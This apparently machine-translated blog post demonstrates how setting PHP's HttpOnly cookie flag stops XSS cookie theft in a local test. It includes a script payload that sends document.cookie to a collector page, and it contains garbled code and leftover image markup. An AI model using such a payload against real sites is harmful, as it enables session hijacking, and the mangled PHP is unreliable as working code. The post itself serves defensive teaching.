Cookie setting HttpOnly property protection against XSS attacks

An attacker who exploits an XSS vulnerability to obtain a cookie or session hijacking, if it contains a large amount of sensitive information (identity information, Administrator information), and so on, to use the cookie to access the account, and illegal operation.

The cookie setting HttpOnly property can mitigate the harm of stealing cookies caused by XSS exploits.

How to set up cookies in PHP:

<?php

Setcookie ("Xsstest", "Xsstest", Time () +3600, "/", "" ", false, false);

?>

The last field is false to not set the HttpOnly property, true to set the HttpOnly property.

Test content:

In this test environment, build a PHP environment with XSS vulnerabilities.

Address: http://localhost/home.php

：

650) this.width=650; "src=" http://s1.51cto.com/wyfs02/M01/8C/6C/wKioL1hsi9ThLJtKAAARVf5-0l0104.jpg "title=" 1.jpg " alt= "Wkiol1hsi9thljtkaaarvf5-0l0104.jpg"/>

There is an XSS vulnerability, and the code that gets the cookie is:

<script>document.location = ' http://localhost/cookie_collect.php?cookie= ' + document.cookie;</script>

The page that gets the cookie is: http://localhost/cookie_collect.php

：

650) this.width=650; "src=" http://s4.51cto.com/wyfs02/M00/8C/6C/wKioL1hsjB7g21ICAAAm-wm7SP8097.jpg "title=" 2.jpg " alt= "Wkiol1hsjb7g21icaaam-wm7sp8097.jpg"/>

Test 01

The HttpOnly property is not set, and the cookie is set to:

<?php

Setcookie ("Xsstest", "Xsstest", Time () +3600, "/", "" ", False, false);

?>

Test results:

To obtain the contents of a cookie:

650) this.width=650; "Src=" Http://s1.51cto.com/wyfs02/M00/8C/6C/wKioL1hsjP_T7w7uAAAvmccWZaY149.jpg-wh_500x0-wm_3 -wmp_4-s_109193731.jpg "title=" 3.jpg "alt=" Wkiol1hsjp_t7w7uaaavmccwzay149.jpg-wh_50 "/>

The contents of the Access log are:

650) this.width=650; "Src=" Http://s5.51cto.com/wyfs02/M00/8C/70/wKiom1hsjYLiS_JJAABGWiXDlus217.jpg-wh_500x0-wm_3 -wmp_4-s_2592496025.jpg "title=" 4.jpg "alt=" Wkiom1hsjylis_jjaabgwixdlus217.jpg-wh_50 "/>

Test result: Use of cross-site vulnerabilities to obtain cookie content.

Test 02

To set the HttpOnly property, the cookie is set to:

<?php

Setcookie ("Xsstest", "Xsstest", Time () +3600, "/", "" ", False, true);

?>

Test results:

The contents of the cookie are not obtained:

650) this.width=650; "Src=" Http://s2.51cto.com/wyfs02/M02/8C/70/wKiom1hsjmfwzf0NAAAgFJQssXg106.jpg-wh_500x0-wm_3 -wmp_4-s_2285287187.jpg "title=" 5.jpg "alt=" Wkiom1hsjmfwzf0naaagfjqssxg106.jpg-wh_50 "/>

The contents of the Access log are:

650) this.width=650; "Src=" Http://s4.51cto.com/wyfs02/M00/8C/70/wKiom1hsjr3Ci9D1AAAuMBXMc7c721.jpg-wh_500x0-wm_3 -wmp_4-s_3619253538.jpg "title=" 6.jpg "alt=" Wkiom1hsjr3ci9d1aaaumbxmc7c721.jpg-wh_50 "/>

Test result: Using a cross-site vulnerability is not able to obtain cookie content.

This article is from the "mask_x blog" blog, please be sure to keep this source http://zhpfbk.blog.51cto.com/4757027/1888902

Cookie setting HttpOnly property protection against XSS attacks